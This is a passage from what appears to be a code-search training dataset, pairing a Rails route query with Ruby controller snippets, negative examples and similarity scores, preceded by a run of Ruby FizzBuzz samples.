0\n buzz_array.push(\"FizzBuzz\")\n else\n buzz_array.push(x)\n end\n end\n p buzz_array\nend", "def fizzbuzz(int)\n if int % 3 == 0 && int % 5 != 0 \n fizz_string = \"Fizz\"\n fizz_string\n elsif int % 3 != 0 && int % 5 == 0 \n buzz_string = \"Buzz\"\n buzz_string\n elsif int % 3 == 0 && int % 5 == 0 \n fizzbuzz_string = \"FizzBuzz\"\n puts fizzbuzz_string\n fizzbuzz_string\n end\nend", "def supafizbuz(max_num)\n range = (0..max_num).to_a\n range.each do |num|\n if num % 3 == 0\n if num % 7 == 0\n if num % 5 == 0\n puts(\"SuperFizzBuzz\")\n next\n end\n puts(\"SuperFizz\")\n next\n end\n puts(\"Fizz\")\n next\n elsif num % 7 == 0\n if num % 5 == 0\n puts(\"SuperBuzz\")\n next\n end\n puts(\"Super\")\n next\n elsif num % 5 == 0\n puts(\"Buzz\")\n next\n end\n puts(num)\n end\n return nil\n\n range = (0..max_num).to_a\n range.each do |num|\n a = num % 7 == 0 ? \"Super\" : \"\"\n b = num % 3 == 0 ? \"Fizz\" : \"\"\n c = num % 5 == 0 ? \"Buzz\" : \"\"\n puts (a + b + c) == \"\" ? num : (a + b + c)\n end\n return nil\n\nend", "def fizz_buzz\n [*1..100].map do |num|\n if num % 5 == 0 && num % 3 == 0\n 'FizzBuzz'\n elsif num % 5 == 0\n 'Buzz'\n elsif num % 3 == 0\n 'Fizz'\n else\n num\n end\n end\nend", "def fizz_buzz(n)\n i = 1\n until i>n\n if i%15==0 \n puts \"fizzbuzz\"\n elsif \n i%5==0\n puts \"buzz\"\n elsif \n i%3==0\n puts \"fizz\"\n else \n puts i\n end\n i +=1\n end\nend", "def fizz_buzz number \nend", "def fizzbuzz(num)\n num.times do |i|\n \n if i % 15 == 0\n puts \"fizzbuzz\"\n elsif i % 3 == 0 \n puts \"fizz\"\n elsif i % 5 == 0\n puts \"buzz\"\n else\n puts \"num\"\n end\n end\nend", "def fizzbuzz(num)\n if num % 3 == 0\n if num % 5 == 0\n \"FizzBuzz\"\n else\n \"Fizz\"\n end\nelsif num % 5 == 0\n \"Buzz\"\nelse\n nil\n end\nend", "def fizzBuzz (number)\n for i in 1..number\n if (i % 15 == 0)\n puts \"fizzbuzz\"\n elsif (i % 3 ==0)\n puts \"fizz\"\n elsif (i % 5 ==0)\n puts \"buzz\"\n else\n puts i\n end\n end\nend", "def fizzbuzz(start, finish)\n result = []\n start.upto(finish) do |num|\n if num % 3 == 0 && num % 5 == 0\n result << \"FizzBuzz\"\n elsif num % 5 == 0\n result << \"Buzz\"\n elsif num % 3 == 0\n result << \"Fizz\"\n else\n result << num\n end\n end\n puts result.join(', ')\nend", "def fizzbuzz(number)\n i = 1\n until i > number\n if i % 15 == 0\n puts \"Fizzbuzz for #{i}\"\n elsif i % 3 == 0\n puts \"Fizz for #{i}\"\n elsif i % 5 == 0\n puts \"Bizz for #{i}\"\n end\n i+=1\n end\nend", "def fizz(count)\n # During countdown, multiples of 3 are replaced with fizz\n while count != 0\n if count % 3 == 0\n puts \"fizz\"\n count -= 1\n else\n puts count\n count -= 1\n end\n end\n puts \"0\"\nend", "def fizzbuzz(num)\n return_val = \"\"\n if num % 3 == 0\n return_val += \"Fizz\"\n end\n if num % 5 == 0\n return_val += \"Buzz\"\n end\n if return_val == \"\"\n return_val = nil\n end\n return return_val\nend", "def fizz_buzz3\n case\n when self % 3 == 0\n \"Fizz#{[\"Buzz\"][self % 5]}\"\n when self % 5 == 0\n \"Buzz\"\n else\n self.to_s\n end\n end", "def fizzbuzz(n)\n array = []\n (1..n).each do |num|\n if num % 15 == 0\n array << \"fizzbuzz\"\n elsif num % 3 == 0\n array << \"fizz\"\n elsif num % 5 == 0\n array << \"buzz\"\n else\n array << num\n end\n end\n return array\nend", "def fizzbuzz()\n numbers = Array(1..100)\n numbers.each do |num|\n if num % 15 == 0\n puts \"FizzBuzz\" \n elsif num % 3 == 0\n puts \"Fizz\"\n elsif num % 5 == 0\n puts \"Buzz\"\n else\n puts num\n end\n end\nend", "def fizzbuzz(n)\n return \"FizzBuzz\" if n%15==0\n return \"Fizz\" if n%3==0\n return \"Buzz\" if n%5==0\n nil\nend", "def super_fizzbuzz(array)\n\tarray.map! do |num|\n\t\tif num % 15 == 0\n\t\t\tnum = 'FizzBuzz'\n\t\telsif num % 5 == 0\n\t\t\tnum = 'Buzz'\n\t\telsif num % 3 == 0\n\t\t\tnum = 'Fizz'\n\t\telse num\n\t\tend\n\tend\n\tp array\nend", "def fizz_buzz\n num = 0\n 100.times do\n num +=1\n if num % 5 == 0 && num % 3 == 0\n puts 'FizzBuzz'\n elsif num % 5 == 0\n puts 'Buzz'\n elsif num % 3 == 0\n puts 'Fizz'\n else\n puts num\n end\n end\nend" ]
[ "0.7558272", "0.7546961", "0.7457645", "0.74392277", "0.73162985", "0.72706956", "0.72477156", "0.7200927", "0.7195848", "0.71824217", "0.717896", "0.71765184", "0.71746874", "0.7131236", "0.71272665", "0.7092889", "0.70891726", "0.7084701", "0.70836914", "0.7072254", "0.70707947", "0.7059792", "0.70575714", "0.70459443", "0.7039098", "0.7028528", "0.7011128", "0.7008123", "0.70029044", "0.6997823", "0.69948965", "0.6984462", "0.6982577", "0.69801116", "0.6978643", "0.6968075", "0.69575596", "0.69433475", "0.6915679", "0.69122654", "0.69103515", "0.69040346", "0.69018173", "0.6899281", "0.6896311", "0.6894625", "0.6886841", "0.6885511", "0.6882432", "0.6881697", "0.6874763", "0.68740326", "0.68666387", "0.6862944", "0.6861796", "0.6860781", "0.6851333", "0.684232", "0.684174", "0.68370384", "0.6830813", "0.68293834", "0.68277663", "0.6826043", "0.68252033", "0.68177396", "0.68168324", "0.6808068", "0.6808068", "0.68040127", "0.6796285", "0.6796129", "0.6794859", "0.679473", "0.6788992", "0.6786245", "0.67850155", "0.67811096", "0.67798287", "0.67775", "0.6777334", "0.6773076", "0.67727906", "0.6768163", "0.67671746", "0.6764771", "0.6763938", "0.6763905", "0.67611676", "0.6758456", "0.6755215", "0.67476755", "0.6747331", "0.67466104", "0.67462665" ]
0.68196106
70
GET /proyectos GET /proyectos.json
def admin? if current_user.read_attribute(:permiso) != 1 redirect_to current_user end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @proyects = Proyect.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proyects }\n end\n end", "def index\n if params[:propietario]\n @usuario = Usuario.find(params[:usuario_id])\n authorize! :show, @usuario\n @negocios_propios = Usuario.find(params[:usuario_id]).negocios_propios\n render json: @negocios_propios,\n root: 'negocios_propios',\n each_serializer: NegocioPropioSerializer\n else\n @negocios = Negocio.all\n render json: @negocios\n end\n end", "def index\n @proyectos = Proyecto.all\n end", "def index\n @proyectos = Proyecto.all\n end", "def index\n @proyectos = Proyecto.all\n end", "def index\n @proyectos = Proyecto.all\n end", "def index\n @proyects = Proyect.all\n end", "def index\n @proyects = Proyect.all\n end", "def show\n @proyect = Proyect.find(params[:id])\n if request.path != proyect_path(@proyect)\n redirect_to @proyect, status: :moved_permanently\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @proyect }\n end\n end", "def index\n @user_proyectos = UserProyecto.all\n end", "def index\n @proyectos_users = ProyectosUser.all\n end", "def index\n @usuario_proyectos = UsuarioProyecto.all\n end", "def index\n @proyectos = Proyecto.search.page params[:page]\n end", "def index\n @proyectominero2s = Proyectominero2.all\n end", "def index\n @protectoras = Protectora.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @protectoras }\n end\n end", "def new\n @proyect = Proyect.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @proyect }\n end\n end", "def index\n @propuestas = Propuesta.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @propuestas }\n end\n end", "def index\n @projetos = Projeto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projetos }\n end\n end", "def index\n @cursos = Curso.all_active\n @curso = Curso.new\n @programas = Programa.all_active\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cursos }\n end\n end", "def proyectos_propios?\n if params[:usuario_id].present?\n self.proyectos = proyectos.left_joins(:usuario).where('usuarios.id = ?', params[:usuario_id].to_i)\n end\n end", "def index\n if params[:usuario_producto]\n @usuario = Usuario.find(params[:usuario_id])\n render json: @usuario.productos\n else\n @productos = Producto.all\n render json: @productos\n end\n end", "def index\n @orden_proyectos = OrdenProyecto.all\n end", "def index\n @obras_proyectos = ObraProyecto.all\n end", "def index\n @proprietarios = Proprietario.all\n end", "def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n # format.html # show.html.erb\n format.json { render json: @pessoa }\n end\n end", "def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pessoa }\n end\n end", "def index\n @premios = Premio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @premios }\n end\n end", "def show\n @produccion = Produccion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produccion }\n end\n end", "def show\n @produccion = Produccion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produccion }\n end\n end", "def index\n @copropietarios = Copropietario.all\n end", "def index\n @personas_proyectos = PersonaProyecto.all\n end", "def index\n @prospies = Prospie.all\n end", "def index\n @equipos = Equipo.all\n render json: @equipos, status: :ok\n end", "def index\n @usuarios = Usuario.por_colegio(colegio.id).order(\"nombre\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usuarios }\n end\n end", "def index\n @proyectos = Proyecto.all\n if params[:categoria]\n proyectos_ids = ProyectosCategoria.where(id: params[:categoria]).last.proyecto_ids\n @proyectos = @proyectos.where(id: proyectos_ids)\n end\n @categorias = ProyectosCategoria.all\n end", "def index\n @usuario_projetos = UsuarioProjeto.all\n end", "def show\n @concurso = Concurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concurso }\n end\n end", "def index\n @provedores = Provedor.all\n end", "def show\n @produto = Produto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produto }\n end\n end", "def index\n @concursos = Concurso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @concursos }\n end\n end", "def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end", "def show\n @profesore = Profesore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profesore }\n end\n end", "def index\n @archivo_proyectos = ArchivoProyecto.all\n end", "def index\n \tif current_user && current_user.username.eql?(\"admin\")\n @courses = Course.all\n elsif current_user\n\t @lista = Profesor.joins(:course).where(:user_id => session[:user_id])\t\n\t list = Array.new\n\t @lista.each do |l|\n\t \tlist << l.course_id\n end\n\t @courses = Course.find(list)\n\tend\n\t\t\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json=> @courses }\n end\n end", "def index\n @proteins = Protein.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proteins }\n end\n end", "def index\n @processos = Processo.all\n\n render json: @processos\n end", "def show\n @proyect = Proyect.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @proyect }\n end\n end", "def get_ponto\n render json: Usuario.ultimo_ponto(params[:user_id], params[:evento_id]).to_json\n end", "def index\n @profanes = Profane.all\n end", "def index\n @patrocinios = Patrocinio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @patrocinios }\n end\n end", "def index\n @peticion_servicio_tis = Peticion::ServicioTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_servicio_tis }\n end\n end", "def index\r\n @profesores = Profesore.all\r\n end", "def index\n @prueba_jsons = PruebaJson.all\n end", "def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end", "def index\n @parishes = Parish.all\n\n render json: @parishes\n end", "def index\n @programs = Program.where(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programs }\n end\n end", "def index\n @programas = Programa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programas }\n end\n end", "def get_proselint_json path\n json = `proselint \"#{path}\" --json`.strip\n if json[0] == \"{\" and json[-1] == \"}\"\n JSON.parse json\n else\n {}\n end\n end", "def asignar_curso\n render :json => Profesor.asignar_curso(params)\n end", "def index\n @prodottos_operaziones = ProdottosOperazione.all\n end", "def create\n @proyect = Proyect.new(params[:proyect])\n\n respond_to do |format|\n if @proyect.save\n format.html { redirect_to @proyect, notice: 'Proyect was successfully created.' }\n format.json { render json: @proyect, status: :created, location: @proyect }\n else\n format.html { render action: \"new\" }\n format.json { render json: @proyect.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n if params[:product_id]\n @promotions = Product.find(params[:product_id]).promotions\n else\n @promotions = Promotion.all\n end\n\n render json: @promotions\n end", "def index\n @probandos = Probando.all\n end", "def index\n # Lista todos los proyectos\n @projects = Project.all\n end", "def index\n if not ( paziente_signed_in? or administrator_signed_in?)\n redirect_to root_path and return\n end\n @profilopazientis = Profilopazienti.all\n end", "def show\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puntaje }\n end\n end", "def show\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puntaje }\n end\n end", "def create\n @proyect = Proyect.new(proyect_params)\n\n respond_to do |format|\n if @proyect.save\n format.html { redirect_to @proyect, notice: 'Proyect was successfully created.' }\n format.json { render :show, status: :created, location: @proyect }\n else\n format.html { render :new }\n format.json { render json: @proyect.errors, status: :unprocessable_entity }\n end\n end\n end", "def es_propietario\n set_entrega\n if @entrega.recolector != current_user\n render json: {entrega: [\"No permitido para este usuario\"]}, status:401\n end\n end", "def show\n @imagenes = @proyecto.proyecto_imagenes\n @participante_proyectos = @proyecto.participante_proyectos\n end", "def recebeLista\n\n file = File.read('secrets.json')\n @info = JSON.parse(file)\n palavraSecreta\n end", "def show\n @produkt = Produkt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produkt }\n end\n end", "def index\n @procesos = Proceso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @procesos }\n end\n end", "def show\n @propuesta = Propuesta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @propuesta }\n end\n end", "def show\n \n @projetos = Projeto.all\n \n end", "def index\n @puntajes = Puntaje.paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @puntajes }\n end\n end", "def show\n pessoa = Pessoa.find(params[:id])\n render json: {status: 'SUCCESS', message:'Loaded pessoa', data:pessoa},status: :ok\n end", "def index\n @mixproductos = Mixproducto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mixproductos }\n end\n end", "def create\n @proyect = Proyect.new(proyect_params)\n\n respond_to do |format|\n if @proyect.save\n format.html { redirect_to @proyect, notice: \"Proyect was successfully created.\" }\n format.json { render :show, status: :created, location: @proyect }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @proyect.errors, status: :unprocessable_entity }\n end\n end\n end", "def activos\n render :json => Producto.activo.all\n end", "def index\n @politecnicos = Politecnico.all\n end", "def show\n \t\tif params[:usuario_pedido]\n \t\t\t@usuario = Usuario.find(params[:usuario_id])\n \t\t\trender json: @usuario.pedidos.find(@pedido.id)\n \t\telse\n \t\t\t@negocio = Negocio.find(params[:negocio_id])\n \t\t\trender json: @negocio.pedidos.find(@pedido.id)\n \t\tend\n \tend", "def show\n @proyecto = Proyecto.find(params[:id])\n @proyecto_actividades = @proyecto.actividads\n @proyecto_usuarios = @proyecto.usuarios\n end", "def index\n @programa_de_interes = ProgramaDeIntere.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programa_de_interes }\n end\n end", "def index\n @ores = Ore.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ores }\n end\n end", "def show\n @partecipante = Partecipante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @partecipante }\n end\n end", "def show\n if params[:usuario_producto]\n @usuario = Usuario.find(params[:usuario_id])\n @producto = Producto.find(params[:id])\n render json: @usuario.productos.find(@producto.id)\n else\n \t @producto = Producto.find(params[:id])\n render json: @producto\n end\n end", "def index\n @powiadomienia = Powiadomienie.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @powiadomienia }\n end\n end", "def set_proyect\r\n @proyect = Proyect.find(params[:id])\r\n end", "def show\n @propose = Propose.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @propose }\n end\n end", "def index\n @socios = Socio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @socios }\n end\n end", "def index\n @propuestas = Propuesta.all\n end", "def set_proyect\n @proyect = Proyect.find(params[:id])\n end", "def set_proyect\n @proyect = Proyect.find(params[:id])\n end", "def set_proyect\n @proyect = Proyect.find(params[:id])\n end", "def show\n @partecipanti_gruppo = PartecipantiGruppo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @partecipanti_gruppo }\n end\n end", "def activo\n @produccion.activo\n respond_to do |format|\n format.html { redirect_to produccions_url }\n format.json { head :no_content }\n end\n end", "def index\n if is_my_resource(params[:prossumer_id])\n @products = Product.where(prossumer_id: params[:prossumer_id]).as_json({\n cycle_id: params[:cycle_id],\n include: {\n prossumer: {\n except: [:encrypted_password, :salt, :confirm_hash]\n },\n product_category: {}\n }\n })\n render json: @products\n end\n end", "def show\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @premio }\n end\n end", "def index\n @pizzas = Pizza.all\n render json: @pizzas\n end", "def index\n @programmes = Programme.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programmes }\n end\n end" ]
[ "0.7265572", "0.6786606", "0.67556703", "0.67556703", "0.67556703", "0.67556703", "0.65600294", "0.65600294", "0.6409942", "0.63700885", "0.63417476", "0.6318234", "0.6315985", "0.629483", "0.62434584", "0.6181625", "0.6178821", "0.61783075", "0.6167004", "0.6164779", "0.6164", "0.6129197", "0.6088274", "0.6070844", "0.6062043", "0.60359234", "0.59883857", "0.5964628", "0.5964628", "0.5950145", "0.5945458", "0.5945456", "0.5944525", "0.59325135", "0.59275717", "0.5927377", "0.59008515", "0.58924204", "0.588479", "0.5868383", "0.5861428", "0.5859244", "0.5854689", "0.583576", "0.58147186", "0.58130795", "0.58111364", "0.58071584", "0.5801708", "0.578973", "0.57867044", "0.57845414", "0.57729405", "0.5756989", "0.57513416", "0.57513195", "0.57483447", "0.5740911", "0.5736022", "0.5735414", "0.5735182", "0.57316357", "0.5728176", "0.57115453", "0.57112396", "0.5710853", "0.5710853", "0.57031834", "0.56956416", "0.5690776", "0.56879234", "0.5677198", "0.5675815", "0.56747454", "0.566701", "0.56647444", "0.56549084", "0.5653287", "0.5653223", "0.5653073", "0.5651946", "0.56464595", "0.5645795", "0.56430084", "0.56409585", "0.5639796", "0.56393486", "0.5639071", "0.5632633", "0.5627597", "0.56271446", "0.5614705", "0.56085277", "0.56085277", "0.56085277", "0.5602882", "0.55979234", "0.5595635", "0.5593974", "0.5587266", "0.5584574" ]
0.0
-1
GET /proyectos/1 GET /proyectos/1.json
def show @proyecto = Proyecto.find(params[:id]) @proyecto_actividades = @proyecto.actividads @proyecto_usuarios = @proyecto.usuarios end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @proyects = Proyect.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proyects }\n end\n end", "def show\n @proyect = Proyect.find(params[:id])\n if request.path != proyect_path(@proyect)\n redirect_to @proyect, status: :moved_permanently\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @proyect }\n end\n end", "def index\n if params[:propietario]\n @usuario = Usuario.find(params[:usuario_id])\n authorize! :show, @usuario\n @negocios_propios = Usuario.find(params[:usuario_id]).negocios_propios\n render json: @negocios_propios,\n root: 'negocios_propios',\n each_serializer: NegocioPropioSerializer\n else\n @negocios = Negocio.all\n render json: @negocios\n end\n end", "def show\n @produto = Produto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produto }\n end\n end", "def show\n @produccion = Produccion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produccion }\n end\n end", "def show\n @produccion = Produccion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produccion }\n end\n end", "def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n # format.html # show.html.erb\n format.json { render json: @pessoa }\n end\n end", "def show\n @pessoa = Pessoa.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pessoa }\n end\n end", "def index\n @proyectos = Proyecto.all\n end", "def index\n @proyectos = Proyecto.all\n end", "def index\n @proyectos = Proyecto.all\n end", "def index\n @proyectos = Proyecto.all\n end", "def show\n @profesore = Profesore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profesore }\n end\n end", "def index\n @projetos = Projeto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projetos }\n end\n end", "def show\n @concurso = Concurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concurso }\n end\n end", "def show\n @produkt = Produkt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produkt }\n end\n end", "def new\n @proyect = Proyect.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @proyect }\n end\n end", "def show\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @premio }\n end\n end", "def index\n @propuestas = Propuesta.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @propuestas }\n end\n end", "def index\n if params[:usuario_producto]\n @usuario = Usuario.find(params[:usuario_id])\n render json: @usuario.productos\n else\n @productos = Producto.all\n render json: @productos\n end\n end", "def show\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puntaje }\n end\n end", "def show\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puntaje }\n end\n end", "def show\n @contato_produto = ContatoProduto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contato_produto }\n end\n end", "def show\n @propuesta = Propuesta.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @propuesta }\n end\n end", "def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end", "def show\n @proyecto_imagen = ProyectoImagen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @proyecto_imagen }\n end\n end", "def index\n @proyectominero2s = Proyectominero2.all\n end", "def show\n @propose = Propose.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @propose }\n end\n end", "def show\n @competicao = Competicao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @competicao }\n end\n end", "def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end", "def show\n @partecipante = Partecipante.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @partecipante }\n end\n end", "def get_proselint_json path\n json = `proselint \"#{path}\" --json`.strip\n if json[0] == \"{\" and json[-1] == \"}\"\n JSON.parse json\n else\n {}\n end\n end", "def index\n @protectoras = Protectora.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @protectoras }\n end\n end", "def show\n @pologeno = Pologeno.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pologeno }\n end\n end", "def index\n @premios = Premio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @premios }\n end\n end", "def show\n @productonegocio = Productonegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @productonegocio }\n end\n end", "def show\n @promocion = Promocion.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @promocion }\n end\n end", "def index\n @cursos = Curso.all_active\n @curso = Curso.new\n @programas = Programa.all_active\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cursos }\n end\n end", "def show\n @produktion_site = ProduktionSite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produktion_site }\n end\n end", "def index\n @proyects = Proyect.all\n end", "def index\n @proyects = Proyect.all\n end", "def show\n @perfilnegocio = Perfilnegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @perfilnegocio }\n end\n end", "def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end", "def index\n @proyectos = Proyecto.search.page params[:page]\n end", "def show\n if params[:usuario_producto]\n @usuario = Usuario.find(params[:usuario_id])\n @producto = Producto.find(params[:id])\n render json: @usuario.productos.find(@producto.id)\n else\n \t @producto = Producto.find(params[:id])\n render json: @producto\n end\n end", "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end", "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tecnico }\n end\n end", "def show\n @consumo = Consumo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @consumo }\n end\n end", "def show\n @tipo_pregunta = TipoPregunta.find(params[:id])\n\n render json: @tipo_pregunta\n end", "def show\n @peso = Peso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @peso }\n end\n end", "def show\n @respuesta = Respuesta.find(params[:id])\n\n render json: @respuesta\n end", "def show\n @partecipanti_gruppo = PartecipantiGruppo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @partecipanti_gruppo }\n end\n end", "def show\n pessoa = Pessoa.find(params[:id])\n render json: {status: 'SUCCESS', message:'Loaded pessoa', data:pessoa},status: :ok\n end", "def show\n @coligacao_partido = ColigacaoPartido.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @coligacao_partido }\n end\n end", "def show\n @profesor_pertenece_asignatura = ProfesorPerteneceAsignatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @profesor_pertenece_asignatura }\n end\n end", "def index\n @equipos = Equipo.all\n render json: @equipos, status: :ok\n end", "def index\n @processos = Processo.all\n\n render json: @processos\n end", "def show\n @proyect = Proyect.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @proyect }\n end\n end", "def show\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @servicio }\n end\n end", "def show\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tecnico }\n end\n end", "def show\n render json: @prossumer\n end", "def index\n @proteins = Protein.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proteins }\n end\n end", "def show\n @voprosy = Voprosy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @voprosy }\n end\n end", "def index\n @programas = Programa.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programas }\n end\n end", "def show\n @cuerpo = Cuerpo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cuerpo }\n end\n end", "def index\n if params[:product_id]\n @promotions = Product.find(params[:product_id]).promotions\n else\n @promotions = Promotion.all\n end\n\n render json: @promotions\n end", "def show\n \n @protectora = Protectora.find(params[:id])\n @nombreProtectora = Protectora.find(params[:id]).nombre\n @mis_mascotas = Mascotum.find(:all, :conditions => {:protectora => @nombreProtectora})\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @protectora }\n end\n end", "def show\n @producto = Producto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @producto }\n end\n end", "def index\n @concursos = Concurso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @concursos }\n end\n end", "def show\n @patrocinio = Patrocinio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @patrocinio }\n end\n end", "def show\n @tipo_pensum = TipoPensum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_pensum }\n end\n end", "def show\n @osoba = Osoba.find(params[:id])\n\n render json: @osoba\n end", "def index\n @proprietarios = Proprietario.all\n end", "def index\n @user_proyectos = UserProyecto.all\n end", "def show\n @combinacion = Combinacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @combinacion }\n end\n end", "def get_ponto\n render json: Usuario.ultimo_ponto(params[:user_id], params[:evento_id]).to_json\n end", "def show\n @seguro = Seguro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @seguro }\n end\n end", "def show\n @comprobante = 